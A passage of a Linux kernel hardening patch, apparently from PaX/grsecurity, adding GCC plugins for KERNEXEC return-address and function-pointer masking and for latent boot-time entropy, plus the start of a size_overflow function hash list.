++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_dump_func | TODO_ggc_collect
++	}
++};
++
++static bool kernexec_cmodel_check(void)
++{
++	tree section;
++
++	if (ix86_cmodel != CM_KERNEL)
++		return false;
++
++	section = lookup_attribute("section", DECL_ATTRIBUTES(current_function_decl));
++	if (!section || !TREE_VALUE(section))
++		return true;
++
++	section = TREE_VALUE(TREE_VALUE(section));
++	if (strncmp(TREE_STRING_POINTER(section), ".vsyscall_", 10))
++		return true;
++
++	return false;
++}
++
++/*
++ * add special KERNEXEC instrumentation: reload %r10 after it has been clobbered
++ */
++static void kernexec_reload_fptr_mask(gimple_stmt_iterator *gsi)
++{
++	gimple asm_movabs_stmt;
++
++	// build asm volatile("movabs $0x8000000000000000, %%r10\n\t" : : : );
++	asm_movabs_stmt = gimple_build_asm_vec("movabs $0x8000000000000000, %%r10\n\t", NULL, NULL, NULL, NULL);
++	gimple_asm_set_volatile(asm_movabs_stmt, true);
++	gsi_insert_after(gsi, asm_movabs_stmt, GSI_CONTINUE_LINKING);
++	update_stmt(asm_movabs_stmt);
++}
++
++/*
++ * find all asm() stmts that clobber r10 and add a reload of r10
++ */
++static unsigned int execute_kernexec_reload(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: __asm__ ("" :  :  : "r10");
++			gimple asm_stmt;
++			size_t nclobbers;
++
++			// is it an asm ...
++			asm_stmt = gsi_stmt(gsi);
++			if (gimple_code(asm_stmt) != GIMPLE_ASM)
++				continue;
++
++			// ... clobbering r10
++			nclobbers = gimple_asm_nclobbers(asm_stmt);
++			while (nclobbers--) {
++				tree op = gimple_asm_clobber_op(asm_stmt, nclobbers);
++				if (strcmp(TREE_STRING_POINTER(TREE_VALUE(op)), "r10"))
++					continue;
++				kernexec_reload_fptr_mask(&gsi);
++//print_gimple_stmt(stderr, asm_stmt, 0, TDF_LINENO);
++				break;
++			}
++		}
++	}
++
++	return 0;
++}
++
++/*
++ * add special KERNEXEC instrumentation: force MSB of fptr to 1, which will produce
++ * a non-canonical address from a userland ptr and will just trigger a GPF on dereference
++ */
++static void kernexec_instrument_fptr_bts(gimple_stmt_iterator *gsi)
++{
++	gimple assign_intptr, assign_new_fptr, call_stmt;
++	tree intptr, old_fptr, new_fptr, kernexec_mask;
++
++	call_stmt = gsi_stmt(*gsi);
++	old_fptr = gimple_call_fn(call_stmt);
++
++	// create temporary unsigned long variable used for bitops and cast fptr to it
++	intptr = create_tmp_var(long_unsigned_type_node, "kernexec_bts");
++	add_referenced_var(intptr);
++	mark_sym_for_renaming(intptr);
++	assign_intptr = gimple_build_assign(intptr, fold_convert(long_unsigned_type_node, old_fptr));
++	gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT);
++	update_stmt(assign_intptr);
++
++	// apply logical or to temporary unsigned long and bitmask
++	kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0x8000000000000000LL);
++//	kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0xffffffff80000000LL);
++	assign_intptr = gimple_build_assign(intptr, fold_build2(BIT_IOR_EXPR, long_long_unsigned_type_node, intptr, kernexec_mask));
++	gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT);
++	update_stmt(assign_intptr);
++
++	// cast temporary unsigned long back to a temporary fptr variable
++	new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_fptr");
++	add_referenced_var(new_fptr);
++	mark_sym_for_renaming(new_fptr);
++	assign_new_fptr = gimple_build_assign(new_fptr, fold_convert(TREE_TYPE(old_fptr), intptr));
++	gsi_insert_before(gsi, assign_new_fptr, GSI_SAME_STMT);
++	update_stmt(assign_new_fptr);
++
++	// replace call stmt fn with the new fptr
++	gimple_call_set_fn(call_stmt, new_fptr);
++	update_stmt(call_stmt);
++}
++
++static void kernexec_instrument_fptr_or(gimple_stmt_iterator *gsi)
++{
++	gimple asm_or_stmt, call_stmt;
++	tree old_fptr, new_fptr, input, output;
++	VEC(tree, gc) *inputs = NULL;
++	VEC(tree, gc) *outputs = NULL;
++
++	call_stmt = gsi_stmt(*gsi);
++	old_fptr = gimple_call_fn(call_stmt);
++
++	// create temporary fptr variable
++	new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_or");
++	add_referenced_var(new_fptr);
++	mark_sym_for_renaming(new_fptr);
++
++	// build asm volatile("orq %%r10, %0\n\t" : "=r"(new_fptr) : "0"(old_fptr));
++	input = build_tree_list(NULL_TREE, build_string(2, "0"));
++	input = chainon(NULL_TREE, build_tree_list(input, old_fptr));
++	output = build_tree_list(NULL_TREE, build_string(3, "=r"));
++	output = chainon(NULL_TREE, build_tree_list(output, new_fptr));
++	VEC_safe_push(tree, gc, inputs, input);
++	VEC_safe_push(tree, gc, outputs, output);
++	asm_or_stmt = gimple_build_asm_vec("orq %%r10, %0\n\t", inputs, outputs, NULL, NULL);
++	gimple_asm_set_volatile(asm_or_stmt, true);
++	gsi_insert_before(gsi, asm_or_stmt, GSI_SAME_STMT);
++	update_stmt(asm_or_stmt);
++
++	// replace call stmt fn with the new fptr
++	gimple_call_set_fn(call_stmt, new_fptr);
++	update_stmt(call_stmt);
++}
++
++/*
++ * find all C level function pointer dereferences and forcibly set the highest bit of the pointer
++ */
++static unsigned int execute_kernexec_fptr(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: h_1 = get_fptr (); D.2709_3 = h_1 (x_2(D));
++			tree fn;
++			gimple call_stmt;
++
++			// is it a call ...
++			call_stmt = gsi_stmt(gsi);
++			if (!is_gimple_call(call_stmt))
++				continue;
++			fn = gimple_call_fn(call_stmt);
++			if (TREE_CODE(fn) == ADDR_EXPR)
++				continue;
++			if (TREE_CODE(fn) != SSA_NAME)
++				gcc_unreachable();
++
++			// ... through a function pointer
++			fn = SSA_NAME_VAR(fn);
++			if (TREE_CODE(fn) != VAR_DECL && TREE_CODE(fn) != PARM_DECL)
++				continue;
++			fn = TREE_TYPE(fn);
++			if (TREE_CODE(fn) != POINTER_TYPE)
++				continue;
++			fn = TREE_TYPE(fn);
++			if (TREE_CODE(fn) != FUNCTION_TYPE)
++				continue;
++
++			kernexec_instrument_fptr(&gsi);
++
++//debug_tree(gimple_call_fn(call_stmt));
++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO);
++		}
++	}
++
++	return 0;
++}
++
++// add special KERNEXEC instrumentation: btsq $63,(%rsp) just before retn
++static void kernexec_instrument_retaddr_bts(rtx insn)
++{
++	rtx btsq;
++	rtvec argvec, constraintvec, labelvec;
++	int line;
++
++	// create asm volatile("btsq $63,(%%rsp)":::)
++	argvec = rtvec_alloc(0);
++	constraintvec = rtvec_alloc(0);
++	labelvec = rtvec_alloc(0);
++	line = expand_location(RTL_LOCATION(insn)).line;
++	btsq = gen_rtx_ASM_OPERANDS(VOIDmode, "btsq $63,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line);
++	MEM_VOLATILE_P(btsq) = 1;
++//	RTX_FRAME_RELATED_P(btsq) = 1; // not for ASM_OPERANDS
++	emit_insn_before(btsq, insn);
++}
++
++// add special KERNEXEC instrumentation: orq %r10,(%rsp) just before retn
++static void kernexec_instrument_retaddr_or(rtx insn)
++{
++	rtx orq;
++	rtvec argvec, constraintvec, labelvec;
++	int line;
++
++	// create asm volatile("orq %%r10,(%%rsp)":::)
++	argvec = rtvec_alloc(0);
++	constraintvec = rtvec_alloc(0);
++	labelvec = rtvec_alloc(0);
++	line = expand_location(RTL_LOCATION(insn)).line;
++	orq = gen_rtx_ASM_OPERANDS(VOIDmode, "orq %%r10,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line);
++	MEM_VOLATILE_P(orq) = 1;
++//	RTX_FRAME_RELATED_P(orq) = 1; // not for ASM_OPERANDS
++	emit_insn_before(orq, insn);
++}
++
++/*
++ * find all asm level function returns and forcibly set the highest bit of the return address
++ */
++static unsigned int execute_kernexec_retaddr(void)
++{
++	rtx insn;
++
++	// 1. find function returns
++	for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) {
++		// rtl match: (jump_insn 41 40 42 2 (return) fptr.c:42 634 {return_internal} (nil))
++		//            (jump_insn 12 9 11 2 (parallel [ (return) (unspec [ (0) ] UNSPEC_REP) ]) fptr.c:46 635 {return_internal_long} (nil))
++		rtx body;
++
++		// is it a retn
++		if (!JUMP_P(insn))
++			continue;
++		body = PATTERN(insn);
++		if (GET_CODE(body) == PARALLEL)
++			body = XVECEXP(body, 0, 0);
++		if (GET_CODE(body) != RETURN)
++			continue;
++		kernexec_instrument_retaddr(insn);
++	}
++
++//	print_simple_rtl(stderr, get_insns());
++//	print_rtl(stderr, get_insns());
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	struct register_pass_info kernexec_reload_pass_info = {
++		.pass				= &kernexec_reload_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++	struct register_pass_info kernexec_fptr_pass_info = {
++		.pass				= &kernexec_fptr_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++	struct register_pass_info kernexec_retaddr_pass_info = {
++		.pass				= &kernexec_retaddr_pass.pass,
++		.reference_pass_name		= "pro_and_epilogue",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &kernexec_plugin_info);
++
++	if (TARGET_64BIT == 0)
++		return 0;
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "method")) {
++			if (!argv[i].value) {
++				error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++				continue;
++			}
++			if (!strcmp(argv[i].value, "bts")) {
++				kernexec_instrument_fptr = kernexec_instrument_fptr_bts;
++				kernexec_instrument_retaddr = kernexec_instrument_retaddr_bts;
++			} else if (!strcmp(argv[i].value, "or")) {
++				kernexec_instrument_fptr = kernexec_instrument_fptr_or;
++				kernexec_instrument_retaddr = kernexec_instrument_retaddr_or;
++				fix_register("r10", 1, 1);
++			} else
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++	if (!kernexec_instrument_fptr || !kernexec_instrument_retaddr)
++		error(G_("no instrumentation method was selected via '-fplugin-arg-%s-method'"), plugin_name);
++
++	if (kernexec_instrument_fptr == kernexec_instrument_fptr_or)
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_reload_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_fptr_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_retaddr_pass_info);
++
++	return 0;
++}
+--- tools/gcc/latent_entropy_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/latent_entropy_plugin.c	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,295 @@
++/*
++ * Copyright 2012 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to help generate a little bit of entropy from program state,
++ * used during boot in the kernel
++ *
++ * TODO:
++ * - add ipa pass to identify not explicitly marked candidate functions
++ * - mix in more program state (function arguments/return values, loop variables, etc)
++ * - more instrumentation control via attribute parameters
++ *
++ * BUGS:
++ * - LTO needs -flto-partition=none for now
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++int plugin_is_GPL_compatible;
++
++static tree latent_entropy_decl;
++
++static struct plugin_info latent_entropy_plugin_info = {
++	.version	= "201207271820",
++	.help		= NULL
++};
++
++static unsigned int execute_latent_entropy(void);
++static bool gate_latent_entropy(void);
++
++static struct gimple_opt_pass latent_entropy_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "latent_entropy",
++		.gate			= gate_latent_entropy,
++		.execute		= execute_latent_entropy,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_gimple_leh | PROP_cfg,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa
++	}
++};
++
++static tree handle_latent_entropy_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	if (TREE_CODE(*node) != FUNCTION_DECL) {
++		*no_add_attrs = true;
++		error("%qE attribute only applies to functions", name);
++	}
++	return NULL_TREE;
++}
++
++static struct attribute_spec latent_entropy_attr = {
++	.name				= "latent_entropy",
++	.min_length			= 0,
++	.max_length			= 0,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_latent_entropy_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static void register_attributes(void *event_data, void *data)
++{
++	register_attribute(&latent_entropy_attr);
++}
++
++static bool gate_latent_entropy(void)
++{
++	tree latent_entropy_attr;
++
++	latent_entropy_attr = lookup_attribute("latent_entropy", DECL_ATTRIBUTES(current_function_decl));
++	return latent_entropy_attr != NULL_TREE;
++}
++
++static unsigned HOST_WIDE_INT seed;
++static unsigned HOST_WIDE_INT get_random_const(void)
++{
++	seed = (seed >> 1U) ^ (-(seed & 1ULL) & 0xD800000000000000ULL);
++	return seed;
++}
++
++static enum tree_code get_op(tree *rhs)
++{
++	static enum tree_code op;
++	unsigned HOST_WIDE_INT random_const;
++
++	random_const = get_random_const();
++
++	switch (op) {
++	case BIT_XOR_EXPR:
++		op = PLUS_EXPR;
++		break;
++
++	case PLUS_EXPR:
++		if (rhs) {
++			op = LROTATE_EXPR;
++			random_const &= HOST_BITS_PER_WIDE_INT - 1;
++			break;
++		}
++
++	case LROTATE_EXPR:
++	default:
++		op = BIT_XOR_EXPR;
++		break;
++	}
++	if (rhs)
++		*rhs = build_int_cstu(unsigned_intDI_type_node, random_const);
++	return op;
++}
++
++static void perturb_local_entropy(basic_block bb, tree local_entropy)
++{
++	gimple_stmt_iterator gsi;
++	gimple assign;
++	tree addxorrol, rhs;
++	enum tree_code op;
++
++	op = get_op(&rhs);
++	addxorrol = fold_build2_loc(UNKNOWN_LOCATION, op, unsigned_intDI_type_node, local_entropy, rhs);
++	assign = gimple_build_assign(local_entropy, addxorrol);
++	find_referenced_vars_in(assign);
++//debug_bb(bb);
++	gsi = gsi_after_labels(bb);
++	gsi_insert_before(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++}
++
++static void perturb_latent_entropy(basic_block bb, tree rhs)
++{
++	gimple_stmt_iterator gsi;
++	gimple assign;
++	tree addxorrol, temp;
++
++	// 1. create temporary copy of latent_entropy
++	temp = create_tmp_var(unsigned_intDI_type_node, "temp_latent_entropy");
++	add_referenced_var(temp);
++	mark_sym_for_renaming(temp);
++
++	// 2. read...
++	assign = gimple_build_assign(temp, latent_entropy_decl);
++	find_referenced_vars_in(assign);
++	gsi = gsi_after_labels(bb);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++
++	// 3. ...modify...
++	addxorrol = fold_build2_loc(UNKNOWN_LOCATION, get_op(NULL), unsigned_intDI_type_node, temp, rhs);
++	assign = gimple_build_assign(temp, addxorrol);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++
++	// 4. ...write latent_entropy
++	assign = gimple_build_assign(latent_entropy_decl, temp);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++}
++
++static unsigned int execute_latent_entropy(void)
++{
++	basic_block bb;
++	gimple assign;
++	gimple_stmt_iterator gsi;
++	tree local_entropy;
++
++	if (!latent_entropy_decl) {
++		struct varpool_node *node;
++
++		for (node = varpool_nodes; node; node = node->next) {
++			tree var = node->decl;
++			if (strcmp(IDENTIFIER_POINTER(DECL_NAME(var)), "latent_entropy"))
++				continue;
++			latent_entropy_decl = var;
++//			debug_tree(var);
++			break;
++		}
++		if (!latent_entropy_decl) {
++//			debug_tree(current_function_decl);
++			return 0;
++		}
++	}
++
++//fprintf(stderr, "latent_entropy: %s\n", IDENTIFIER_POINTER(DECL_NAME(current_function_decl)));
++
++	// 1. create local entropy variable
++	local_entropy = create_tmp_var(unsigned_intDI_type_node, "local_entropy");
++	add_referenced_var(local_entropy);
++	mark_sym_for_renaming(local_entropy);
++
++	// 2. initialize local entropy variable
++	bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++	if (dom_info_available_p(CDI_DOMINATORS))
++		set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR);
++	gsi = gsi_start_bb(bb);
++
++	assign = gimple_build_assign(local_entropy, build_int_cstu(unsigned_intDI_type_node, get_random_const()));
++//	gimple_set_location(assign, loc);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	bb = bb->next_bb;
++
++	// 3. instrument each BB with an operation on the local entropy variable
++	while (bb != EXIT_BLOCK_PTR) {
++		perturb_local_entropy(bb, local_entropy);
++		bb = bb->next_bb;
++	};
++
++	// 4. mix local entropy into the global entropy variable
++	perturb_latent_entropy(EXIT_BLOCK_PTR->prev_bb, local_entropy);
++	return 0;
++}
++
++static void start_unit_callback(void *gcc_data, void *user_data)
++{
++#if BUILDING_GCC_VERSION >= 4007
++	seed = get_random_seed(false);
++#else
++	sscanf(get_random_seed(false), "%" HOST_WIDE_INT_PRINT "x", &seed);
++	seed *= seed;
++#endif
++
++	if (in_lto_p)
++		return;
++
++	// extern u64 latent_entropy
++	latent_entropy_decl = build_decl(UNKNOWN_LOCATION, VAR_DECL, get_identifier("latent_entropy"), unsigned_intDI_type_node);
++
++	TREE_STATIC(latent_entropy_decl) = 1;
++	TREE_PUBLIC(latent_entropy_decl) = 1;
++	TREE_USED(latent_entropy_decl) = 1;
++	TREE_THIS_VOLATILE(latent_entropy_decl) = 1;
++	DECL_EXTERNAL(latent_entropy_decl) = 1;
++	DECL_ARTIFICIAL(latent_entropy_decl) = 0;
++	DECL_INITIAL(latent_entropy_decl) = NULL;
++//	DECL_ASSEMBLER_NAME(latent_entropy_decl);
++//	varpool_finalize_decl(latent_entropy_decl);
++//	varpool_mark_needed_node(latent_entropy_decl);
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info latent_entropy_pass_info = {
++		.pass				= &latent_entropy_pass.pass,
++		.reference_pass_name		= "optimized",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &latent_entropy_plugin_info);
++	register_callback ("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &latent_entropy_pass_info);
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+--- tools/gcc/size_overflow_hash.data	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/size_overflow_hash.data	2012-10-15 17:30:59.834924531 +0000
+@@ -0,0 +1,3597 @@
++_000001_hash alloc_dr 2 65495 _000001_hash NULL
++_000002_hash __copy_from_user 3 10918 _000002_hash NULL
++_000003_hash copy_from_user 3 17559 _000003_hash NULL
++_000004_hash __copy_from_user_inatomic 3 4365 _000004_hash NULL
++_000005_hash __copy_from_user_nocache 3 39351 _000005_hash NULL
++_000006_hash __copy_to_user_inatomic 3 19214 _000006_hash NULL
++_000007_hash do_xip_mapping_read 5 60297 _000007_hash NULL
++_000008_hash hugetlbfs_read 3 11268 _000008_hash NULL
++_000009_hash kmalloc 1 60432 _003302_hash NULL nohasharray
++_000010_hash kmalloc_array 1-2 9444 _000010_hash NULL
++_000012_hash __kmalloc_reserve 1 17080 _000012_hash NULL
++_000013_hash kmalloc_slab 1 11917 _000013_hash NULL
++_000014_hash kmemdup 2 64015 _000014_hash NULL
++_000015_hash __krealloc 2 14857 _000340_hash NULL nohasharray
++_000016_hash memdup_user 2 59590 _000016_hash NULL
++_000017_hash module_alloc 1 63630 _000017_hash NULL
++_000018_hash read_default_ldt 2 14302 _000018_hash NULL
++_000019_hash read_kcore 3 63488 _000019_hash NULL
++_000020_hash read_ldt 2 47570 _000020_hash NULL
++_000021_hash read_zero 3 19366 _000021_hash NULL
++_000022_hash __vmalloc_node 1 39308 _000022_hash NULL
++_000023_hash aac_convert_sgraw2 4 51598 _000023_hash NULL
++_000024_hash aa_simple_write_to_buffer 4-3 49683 _000024_hash NULL
++_000025_hash ablkcipher_copy_iv 3 64140 _000025_hash NULL
++_000026_hash ablkcipher_next_slow 3-4 47274 _000026_hash NULL
++_000028_hash acpi_battery_write_alarm 3 1240 _000028_hash NULL
++_000029_hash acpi_os_allocate 1 14892 _000029_hash NULL
++_000030_hash acpi_system_write_wakeup_device 3 34853 _000030_hash NULL
++_000031_hash adu_write 3 30487 _000031_hash NULL
++_000032_hash aer_inject_write 3 52399 _000032_hash NULL
++_000033_hash afs_alloc_flat_call 2-3 36399 _000033_hash NULL
++_000035_hash afs_proc_cells_write 3 61139 _000035_hash NULL
++_000036_hash afs_proc_rootcell_write 3 15822 _000036_hash NULL
++_000037_hash agp_3_5_isochronous_node_enable 3 49465 _000037_hash NULL
++_000038_hash agp_alloc_page_array 1 22554 _000038_hash NULL
++_000039_hash ah_alloc_tmp 2-3 54378 _000039_hash NULL
++_000041_hash ahash_setkey_unaligned 3 33521 _000041_hash NULL
++_000042_hash alg_setkey 3 31485 _000042_hash NULL
++_000043_hash aligned_kmalloc 1 3628 _000043_hash NULL
++_000044_hash alloc_context 1 3194 _000044_hash NULL
++_000045_hash alloc_ep_req 2 54860 _000045_hash NULL
++_000046_hash alloc_fdmem 1 27083 _000046_hash NULL
++_000047_hash alloc_flex_gd 1 57259 _000047_hash NULL
++_000048_hash alloc_sglist 1-3-2 22960 _000048_hash NULL
++_000049_hash __alloc_skb 1 23940 _000049_hash NULL
++_000050_hash aoedev_flush 2 44398 _000050_hash NULL
++_000051_hash append_to_buffer 3 63550 _000051_hash NULL
++_000052_hash asix_read_cmd 5 13245 _000052_hash NULL
++_000053_hash asix_write_cmd 5 58192 _000053_hash NULL
++_000054_hash at76_set_card_command 4 4471 _000054_hash NULL
++_000055_hash ath6kl_add_bss_if_needed 6 24317 _000055_hash NULL
++_000056_hash ath6kl_debug_roam_tbl_event 3 5224 _000056_hash NULL
++_000057_hash ath6kl_mgmt_powersave_ap 6 13791 _000057_hash NULL
++_000058_hash ath6kl_send_go_probe_resp 3 21113 _000058_hash NULL
++_000059_hash ath6kl_set_ap_probe_resp_ies 3 50539 _000059_hash NULL
++_000060_hash ath6kl_set_assoc_req_ies 3 43185 _000060_hash NULL
++_000061_hash ath6kl_wmi_bssinfo_event_rx 3 2275 _000061_hash NULL
++_000062_hash ath6kl_wmi_send_action_cmd 7 58860 _000062_hash NULL
++_000063_hash __ath6kl_wmi_send_mgmt_cmd 7 38971 _000063_hash NULL
++_000064_hash attach_hdlc_protocol 3 19986 _000064_hash NULL
++_000065_hash audio_write 4 54261 _001782_hash NULL nohasharray
++_000066_hash audit_unpack_string 3 13748 _000066_hash NULL
++_000067_hash ax25_setsockopt 5 42740 _000067_hash NULL
++_000068_hash b43_debugfs_write 3 34838 _000068_hash NULL
++_000069_hash b43legacy_debugfs_write 3 28556 _000069_hash NULL
++_000070_hash batadv_hash_new 1 40491 _000070_hash NULL
++_000071_hash batadv_orig_node_add_if 2 18433 _000071_hash NULL
++_000072_hash batadv_orig_node_del_if 2 4 _000072_hash NULL
++_000073_hash batadv_tt_changes_fill_buff 4 40323 _000073_hash NULL
++_000074_hash batadv_tt_realloc_packet_buff 4 49960 _000074_hash NULL
++_000075_hash bch_alloc 1 4593 _000075_hash NULL
++_000076_hash befs_nls2utf 3 17163 _000076_hash NULL
++_000077_hash befs_utf2nls 3 25628 _000077_hash NULL
++_000078_hash bfad_debugfs_write_regrd 3 15218 _000078_hash NULL
++_000079_hash bfad_debugfs_write_regwr 3 61841 _000079_hash NULL
++_000080_hash bio_alloc_map_data 1-2 50782 _000080_hash NULL
++_000082_hash bio_kmalloc 2 54672 _000082_hash NULL
++_000083_hash bitmap_storage_alloc 2 55077 _000083_hash NULL
++_000084_hash blkcipher_copy_iv 3 24075 _000084_hash NULL
++_000085_hash blkcipher_next_slow 3-4 52733 _000085_hash NULL
++_000087_hash bl_pipe_downcall 3 34264 _000087_hash NULL
++_000088_hash bnad_debugfs_write_regrd 3 6706 _000088_hash NULL
++_000089_hash bnad_debugfs_write_regwr 3 57500 _000089_hash NULL
++_000090_hash bnx2fc_cmd_mgr_alloc 2-3 24873 _000090_hash NULL
++_000092_hash bnx2fc_process_unsol_compl 2 15576 _000092_hash NULL
++_000093_hash bnx2_nvram_write 2-4 7790 _000093_hash NULL
++_000095_hash btmrvl_gpiogap_write 3 35053 _000095_hash NULL
++_000096_hash btmrvl_hscfgcmd_write 3 27143 _000096_hash NULL
++_000097_hash btmrvl_hscmd_write 3 27089 _000097_hash NULL
++_000098_hash btmrvl_hsmode_write 3 42252 _000098_hash NULL
++_000099_hash btmrvl_pscmd_write 3 29504 _000099_hash NULL
++_000100_hash btmrvl_psmode_write 3 3703 _000100_hash NULL
++_000101_hash btrfs_alloc_delayed_item 1 11678 _000101_hash NULL
++_000102_hash c4iw_id_table_alloc 3 48163 _000102_hash NULL
++_000103_hash cache_do_downcall 3 6926 _000103_hash NULL
++_000104_hash cachefiles_cook_key 2 33274 _000104_hash NULL
++_000105_hash cachefiles_daemon_write 3 43535 _000105_hash NULL
++_000106_hash capi_write 3 35104 _003607_hash NULL nohasharray
++_000107_hash carl9170_debugfs_write 3 50857 _000107_hash NULL
++_000108_hash cciss_allocate_sg_chain_blocks 2-3 5368 _000108_hash NULL
++_000110_hash cciss_proc_write 3 10259 _000110_hash NULL
++_000111_hash cdrom_read_cdda_old 4 27664 _000111_hash NULL
++_000112_hash ceph_alloc_page_vector 1 18710 _000112_hash NULL
++_000113_hash ceph_buffer_new 1 35974 _000113_hash NULL
++_000114_hash ceph_copy_user_to_page_vector 3-4 656 _000114_hash NULL
++_000116_hash ceph_get_direct_page_vector 2 41917 _000116_hash NULL
++_000117_hash ceph_msg_new 2 5846 _000117_hash NULL
++_000118_hash ceph_setxattr 4 18913 _000118_hash NULL
++_000119_hash cfi_read_pri 3 24366 _000119_hash NULL
++_000120_hash cgroup_write_string 5 10900 _000120_hash NULL
++_000121_hash cgroup_write_X64 5 54514 _000121_hash NULL
++_000122_hash change_xattr 5 61390 _000122_hash NULL
++_000123_hash check_load_and_stores 2 2143 _000123_hash NULL
++_000124_hash cifs_idmap_key_instantiate 3 54503 _000124_hash NULL
++_000125_hash cifs_security_flags_proc_write 3 5484 _000125_hash NULL
++_000126_hash cifs_setxattr 4 23957 _000126_hash NULL
++_000127_hash cifs_spnego_key_instantiate 3 23588 _000127_hash NULL
++_000128_hash cld_pipe_downcall 3 15058 _000128_hash NULL
++_000129_hash clear_refs_write 3 61904 _000129_hash NULL
++_000130_hash clusterip_proc_write 3 44729 _000130_hash NULL
++_000131_hash cm4040_write 3 58079 _000131_hash NULL
++_000132_hash cm_copy_private_data 2 3649 _000132_hash NULL
++_000133_hash cmm_write 3 2896 _000133_hash NULL
++_000134_hash cm_write 3 36858 _000134_hash NULL
++_000135_hash coda_psdev_write 3 1711 _000135_hash NULL
++_000136_hash codec_reg_read_file 3 36280 _000136_hash NULL
++_000137_hash command_file_write 3 31318 _000137_hash NULL
++_000138_hash command_write 3 58841 _000138_hash NULL
++_000139_hash comm_write 3 44537 _001714_hash NULL nohasharray
